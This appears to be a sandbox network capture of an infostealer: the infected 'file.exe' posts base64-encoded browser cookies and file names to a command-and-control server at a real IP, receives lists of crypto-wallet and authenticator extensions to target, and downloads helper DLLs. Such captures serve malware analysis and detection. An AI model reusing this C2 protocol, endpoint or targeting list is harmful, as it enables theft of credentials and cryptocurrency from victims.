Nov 18, 2024 00:27:24.398241997 CET	1236	IN	Data Raw: 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 Data Ascii: Z2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV
Nov 18, 2024 00:27:24.398253918 CET	424	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWd
Nov 18, 2024 00:27:24.398758888 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Nov 18, 2024 00:27:24.399538040 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Nov 18, 2024 00:27:24.400913000 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"fplugins------FIEHDBGDHDAECBGDHJKF--
Nov 18, 2024 00:27:24.677228928 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 00:27:24.699407101 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 7027 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 00:27:24.699460030 CET	7027	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 00:27:25.494242907 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:25.785068989 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:26.066802979 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49837	185.215.113.206	80	2496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:27:37.065498114 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFCFBKFCFBFIDGCGDHJ--
Nov 18, 2024 00:27:38.467655897 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:38.575562000 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file"------HDHCFIJEGCAKJJKEHJJE--
Nov 18, 2024 00:27:39.351847887 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49889	185.215.113.206	80	2496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:27:44.865103960 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 00:27:44.865147114 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 18, 2024 00:27:46.261321068 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:46.560045958 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Nov 18, 2024 00:27:47.331603050 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:49.119468927 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:49.396260977 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 18, 2024 00:27:49.396274090 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 18, 2024 00:27:49.396285057 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 18, 2024 00:27:49.396322012 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Nov 18, 2024 00:27:49.396336079 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Nov 18, 2024 00:27:49.396377087 CET	636	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Nov 18, 2024 00:27:49.396414995 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 18, 2024 00:27:49.396451950 CET	1060	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 18, 2024 00:27:49.396667004 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 18, 2024 00:27:49.396678925 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 18, 2024 00:27:52.485975981 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:52.766408920 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 18, 2024 00:27:54.440381050 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
